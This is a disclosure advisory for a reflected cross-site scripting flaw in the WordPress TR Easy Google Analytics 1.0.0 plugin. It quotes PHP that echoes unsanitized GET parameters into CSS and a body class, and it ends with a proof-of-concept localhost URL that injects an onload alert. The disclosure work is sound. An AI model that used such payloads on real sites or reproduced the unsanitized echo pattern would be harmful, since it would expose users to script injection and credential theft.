WordPress TR Easy Google Analytics 1.0.0 Cross Site Scripting
Posted on 11 October 2017
Class Input Validation Error Remote Yes Reflected Yes Credit Ricardo Sanchez Vulnerable TR Easy Google Analytics plugin 1.0.0 TR Easy Google Analytics plugin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. To exploit this issue following steps: The XSS reflected because all this values aren't filter correcly: <style> p { margin-left: 50px; margin-right: 20px; font-family: <?php echo $_GET['font-family'] ?>; color: <?php echo $_GET['color'] ?>; font-size: <?php echo $_GET['font-size'] ?>; font-weight: <?php echo $_GET['font-weight'] ?>; font-style: <?php echo $_GET['font-style'] ?>; line-height: <?php echo $_GET['line-height'] ?>; letter-spacing: <?php echo $_GET['letter-spacing'] ?>; text-transform: <?php echo $_GET['text-transform'] ?>; font-variant: <?php echo $_GET['font-variant'] ?>; text-shadow: <?php echo $textShadow ?>; } body { margin: 20px 0; background: #fff; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } body.dark { background: #333; } </style> .... <body class='<?php echo $_GET['dark'] ?>'> Demo url:http://localhost/wordpress/wp-content/plugins/tr-easy-google-analytics/theme-option/iframe-font-preview.php?dark=%27onload%3d%27alert(%22XSS%22)%27
